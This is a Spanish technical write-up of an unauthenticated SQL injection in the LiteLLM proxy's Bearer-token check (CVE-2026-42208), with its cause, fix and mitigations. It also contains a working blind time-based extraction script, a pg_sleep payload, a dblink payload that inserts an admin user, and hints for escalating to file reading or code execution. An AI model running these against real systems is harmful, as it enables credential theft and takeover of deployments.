Exploit CVE-2026-42208: inyección SQL sin autenticación en LiteLLM mediante token Bearer
Análisis técnico de CVE-2026-42208, una vulnerabilidad crítica de inyección SQL sin autenticación (CVSS 9.3) en la API del proxy de LiteLLM. Una parametrización incorrecta del token Bearer dentro de consultas SQL sin procesar, usadas para combinaciones complejas de varias tablas, permite ataques ciegos de temporización basados en condiciones booleanas, lo que posibilita que atacantes sin autenticación exfiltren datos sensibles de la base de datos, incluidas claves de API virtuales, información de usuarios y registros de gasto de LLM.
Inyección SQL sin autenticación en LiteLLM: PoC y exploit
22 de mayo de 2026 · CVSS 9.3 Crítica · LiteLLM Proxy
| CVE ID | CVSS | Afectado | Corregido |
|---|---|---|---|
| CVE-2026-42208 | 9.3 Crítica (CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N) | >= 1.81.16, < 1.83.7 | 1.83.7+ |
Visión general de CVE-2026-42208: inyección SQL mediante el token Bearer
LiteLLM es un proxy y puerta de enlace de IA de código abierto ampliamente adoptado que permite a los desarrolladores gestionar el acceso, el enrutamiento y el seguimiento del gasto en cientos de proveedores de LLM (OpenAI, Anthropic, Gemini, etc.) mediante una interfaz unificada.
Se descubrió una vulnerabilidad crítica de inyección SQL sin autenticación (SQLi) en la forma en que LiteLLM valida los tokens de autenticación de los usuarios. Cuando una aplicación intenta realizar una llamada a la API del proxy (por ejemplo, /v1/chat/completions), pasa una clave de API virtual en la cabecera Authorization: Bearer <key>. Aunque el ORM Prisma parametriza de forma segura las consultas estándar, una consulta concreta y compleja a la base de datos, diseñada para recopilar metadatos completos de usuarios y equipos, interpola manualmente el token sin depurar directamente en una cadena SQL sin procesar. Este descuido permite a un atacante sin autenticación inyectar comandos SQL arbitrarios en la base de datos PostgreSQL del backend.
La vulnerabilidad: interpolación de cadenas en SQL sin procesar
La causa raíz de esta vulnerabilidad reside en el middleware de autenticación, concretamente en la función get_data() ubicada en litellm/proxy/utils.py.
Flujo de autenticación y el fallo
1. El flujo normal (usuario legítimo)
Cuando un usuario legítimo realiza una solicitud con una clave de proxy válida (por ejemplo, sk-abc123xyz), LiteLLM extrae el token y comprueba si comienza con el prefijo "sk-". Como sí lo hace, la aplicación calcula el hash SHA-256 del token y reenvía solo el hash a la capa de base de datos.
2. El flujo de ataque (inyección SQL)
Cuando un atacante proporciona un payload malicioso como ' OR (SELECT pg_sleep(3)) IS NULL --, la aplicación vuelve a comprobar el prefijo "sk-". Como el payload no comienza con "sk-", la lógica de hash se omite por completo. La aplicación asume erróneamente que se trata de un formato de token heredado o personalizado y reenvía el payload SQL sin procesar y sin hashear directamente a la capa de base de datos.
Código vulnerable
Para construir una «vista combinada» del token, el equipo, el proyecto, la organización y los límites de presupuesto de un usuario, los desarrolladores optaron por usar db.query_raw en lugar de las funciones estándar del ORM debido a la complejidad de las operaciones LEFT JOIN necesarias.
En litellm/proxy/utils.py:
elif table_name == "combined_view":
# ...
if query_type == "find_unique":
# ...
sql_query = f"""
SELECT
v.*,
t.spend AS team_spend,
t.max_budget AS team_max_budget,
t.soft_budget AS team_soft_budget,
t.tpm_limit AS team_tpm_limit,
t.rpm_limit AS team_rpm_limit,
t.models AS team_models,
-- [Multiple other SELECTs and JOINs]
FROM "LiteLLM_VerificationToken" AS v
LEFT JOIN "LiteLLM_TeamTable" AS t ON v.team_id = t.team_id
-- ...
WHERE v.token = '{token}'
"""
response = await self._query_first_with_cached_plan_fallback(sql_query)
Al utilizar una f-string de Python (f"""... WHERE v.token = '{token}'"""), la variable {token} se concatena directamente en la sentencia SQL. Sin un enlace parametrizado adecuado (por ejemplo, pasando $1), cualquier cadena controlada por el usuario que contenga una comilla simple (') escapa del literal de cadena SQL, lo que provoca una inyección SQL.
Prueba de concepto: inyección SQL ciega y ataques de temporización
Dado que la API de LiteLLM espera que esta consulta devuelva un objeto de token válido, cualquier consulta inyectada termina provocando un fallo de autenticación (401 Unauthorized), lo que oculta la salida directa de la base de datos en la respuesta HTTP. Para extraer datos, un atacante debe recurrir a ataques ciegos de temporización basados en condiciones booleanas.
Configuración de pruebas
Para validar la vulnerabilidad de forma segura, se construyó un laboratorio local con Docker usando la imagen vulnerable main-v1.83.6-nightly conectada a un backend de PostgreSQL 16:
docker-compose.yml (fragmento)
services:
litellm:
image: ghcr.io/berriai/litellm:main-v1.83.6-nightly
ports:
- "4000:4000"
environment:
- DATABASE_URL=postgresql://llmproxy:dbpassword9090@db:5432/litellm
Entrega del payload
Al inyectar la función pg_sleep() de PostgreSQL, un atacante puede forzar a la base de datos a pausar la ejecución, usando el tiempo de respuesta HTTP como oráculo de verdadero/falso.
Un payload de PoC sencillo para confirmar la vulnerabilidad:
' OR (SELECT pg_sleep(3)) IS NULL --
Al colocarlo en la cabecera Authorization: Bearer, el backend ejecuta:
WHERE v.token = '' OR (SELECT pg_sleep(3)) IS NULL --'
Esto fuerza un retraso de 3 segundos en la respuesta del servidor, confirmando el punto de inyección.
Extracción de datos mediante búsqueda binaria (la PoC)
Un atacante puede extraer sistemáticamente toda la base de datos, incluidas LiteLLM_SpendLogs (que contiene el uso detallado de los prompts) y LiteLLM_VerificationToken (que contiene credenciales de API hasheadas), planteando a la base de datos una serie de preguntas de verdadero/falso.
Mediante un algoritmo de búsqueda binaria, el atacante puede adivinar el valor ASCII de cada carácter de los datos deseados. A continuación se muestra un script de Python completo y configurable que automatiza este ataque de temporización para extraer cualquier fila de cualquier tabla:
import argparse
import json
import sys
import time
import urllib.request
def test_payload(url, token, sleep_time):
body = json.dumps({"model": "fake", "messages": [{"role": "user", "content": "x"}]}).encode()
req = urllib.request.Request(url, data=body, method="POST",
headers={"Authorization": f"Bearer {token}", "Content-Type": "application/json"})
start = time.time()
try: urllib.request.urlopen(req, timeout=sleep_time + 1)
except: pass
return time.time() - start
def extract_string(url, query, sleep_time=1.0):
extracted = ""
idx = 1
while True:
# Check end of string
check_end = f"' OR (LENGTH(({query})) < {idx} AND (SELECT pg_sleep({sleep_time})) IS NOT NULL) --"
if test_payload(url, check_end, sleep_time) >= sleep_time:
break
low, high = 32, 126
while low <= high:
mid = (low + high) // 2
payload = f"' OR (ASCII(SUBSTRING(({query}), {idx}, 1)) > {mid} AND (SELECT pg_sleep({sleep_time})) IS NOT NULL) --"
if test_payload(url, payload, sleep_time) >= sleep_time:
low = mid + 1
else:
high = mid - 1
extracted += chr(low)
sys.stdout.write(chr(low))
sys.stdout.flush()
idx += 1
print()
return extracted
if __name__ == "__main__":
parser = argparse.ArgumentParser(description="LiteLLM Blind SQLi Data Extractor")
parser.add_argument("--url", default="http://127.0.0.1:4000/v1/chat/completions")
parser.add_argument("--table", default="LiteLLM_VerificationToken", help="Table to extract from")
parser.add_argument("--column", default="token", help="Column to extract")
parser.add_argument("--row", type=int, default=0, help="Row index (OFFSET)")
args = parser.parse_args()
query = f"SELECT {args.column} FROM \"{args.table}\" LIMIT 1 OFFSET {args.row}"
print(f"[*] Extracting: {query}")
extract_string(args.url, query)
Al ejecutar el script se extraen datos carácter por carácter del backend, incluida la dirección de correo almacenada en la base de datos de usuarios:

Figura 1: ejecución de la PoC extrayendo el correo electrónico de un usuario de la base de datos de LiteLLM mediante el ataque de temporización de SQLi ciega.
La fuga en los registros de gasto
Un hallazgo secundario interesante de este análisis reveló que, aunque LiteLLM almacena de forma segura los tokens legítimos sk- como hashes SHA-256 en la tabla LiteLLM_VerificationToken, registra de forma involuntaria los payloads sin hashear y sin procesar de las claves no válidas en la tabla LiteLLM_SpendLogs. Las claves legítimas permanecen correctamente hasheadas en los registros, pero este comportamiento crea un rastro de auditoría perfecto de los intentos de inyección SQL del atacante.
Escalada avanzada: RCE y evasión de las protecciones del ORM (información útil)
Normalmente, los atacantes explotan las inyecciones SQL para modificar datos o escalar privilegios usando «consultas apiladas» (por ejemplo, ejecutando varias sentencias separadas por un punto y coma ; como SELECT ... ; INSERT ...).
En este entorno, el controlador del ORM Prisma bloquea estrictamente las consultas apiladas, lo que aparentemente atrapa al atacante en un contexto SELECT de solo lectura. Sin embargo, según la configuración y las extensiones de PostgreSQL, los atacantes pueden escalar esto de forma significativa:
1. RCE mediante COPY TO PROGRAM
Si la base de datos estuviera mal configurada para ejecutarse como superuser (como postgres), un atacante puede eludir la imposibilidad de ejecutar INSERT/UPDATE atacando directamente el sistema operativo anfitrión. Usando la función COPY TO PROGRAM de PostgreSQL o funciones de lectura de archivos como pg_read_file(), un atacante puede exfiltrar archivos sensibles (como claves SSH o variables de entorno) o lograr la ejecución remota de código (RCE) completa en el servidor de base de datos.
2. Evasión de las consultas apiladas mediante dblink
En entornos donde la extensión dblink de PostgreSQL está habilitada (una extensión común para consultas entre bases de datos), la defensa del ORM contra las consultas apiladas puede eludirse por completo. Al inyectar la función dblink_exec() dentro de la sentencia SELECT, un atacante puede forzar a la base de datos a abrir una nueva conexión independiente consigo misma y ejecutar un comando INSERT arbitrario:
' OR (SELECT dblink_exec('dbname=litellm ...', 'INSERT INTO "LiteLLM_UserTable" (user_email, password, user_role, ...) VALUES (''hacked@lab.local'', ''scrypt:...'', ''proxy_admin'', ...)')) IS NOT NULL --
Aunque dblink no está habilitado de forma predeterminada en todas las configuraciones de PostgreSQL, pone de relieve una potente vía de escalada que transforma una vulnerabilidad de exfiltración de datos de solo lectura en una toma de control administrativa completa del panel de LiteLLM.
La corrección en LiteLLM 1.83.7
El comportamiento corregido elimina la peligrosa interpolación de cadenas sin procesar. En lugar de insertar {token} directamente en la f-string, los desarrolladores actualizaron la consulta para usar enlaces parametrizados ($1), aislando de forma segura el payload del atacante de la sintaxis SQL:
# Fixed Code (LiteLLM 1.83.7+)
sql_query = """
SELECT
v.*,
t.spend AS team_spend,
...
FROM "LiteLLM_VerificationToken" AS v
LEFT JOIN "LiteLLM_TeamTable" AS t ON v.team_id = t.team_id
WHERE v.token = $1
"""
response = await self._query_first_with_cached_plan_fallback(sql_query, token)
Con este cambio, el controlador de la base de datos trata el payload únicamente como un literal de cadena, lo que impide que cualquier carácter de inyección altere la lógica de la consulta.
Mitigación inmediata
Si no es posible actualizar de inmediato, puede aplicar la solución alternativa oficial estableciendo disable_error_logs: true en general_settings dentro de su litellm_config.yaml. Esta configuración elimina la ruta específica de gestión de errores a través de la cual la entrada sin autenticación llega a la consulta vulnerable de la base de datos, neutralizando eficazmente el vector de ataque.
Corrección
- Actualice ahora: actualice su instancia de LiteLLM a la última versión parcheada (v1.83.7 o posterior) de inmediato. El valor proporcionado por quien llama ahora se pasa de forma segura a la base de datos como una variable independiente y parametrizada.
- Use consultas parametrizadas: los desarrolladores deben evitar la interpolación de cadenas (
f"...") al construir consultas SQL. Confíe siempre en las funciones del ORM o use enlaces parametrizados ($1) para las consultas sin procesar, con el fin de evitar la manipulación del análisis SQL. - Bastionado de la base de datos: los administradores de bases de datos deben eliminar o restringir de forma proactiva extensiones de PostgreSQL como
dblink, salvo que sean estrictamente necesarias. Además, asegúrese de que el usuario de la base de datos (por ejemplo,llmproxy) se ejecute con el mínimo privilegio absoluto necesario, impidiendo estrictamente el acceso de superusuario o los permisos de ejecución deCOPY TO PROGRAM. - Supervise los registros: audite
LiteLLM_SpendLogsy los registros de consultas lentas de la base de datos en busca de retrasos anómalos depg_sleepo de payloads SQL sin procesar que aparezcan en los camposapi_key.
Referencias
- Aviso de seguridad de GitHub (GHSA-r75f-5x8p-qvmc): https://github.com/advisories/GHSA-r75f-5x8p-qvmc
- Versión LiteLLM v1.83.7-stable: https://github.com/BerriAI/litellm/releases/tag/v1.83.7-stable
- NVD CVE-2026-42208: https://nvd.nist.gov/vuln/detail/CVE-2026-42208
- Documentación de dblink de PostgreSQL: https://www.postgresql.org/docs/current/dblink.html
- Documentación de COPY de PostgreSQL: https://www.postgresql.org/docs/current/sql-copy.html
- CWE-89: neutralización incorrecta de la entrada en comandos SQL: https://cwe.mitre.org/data/definitions/89.html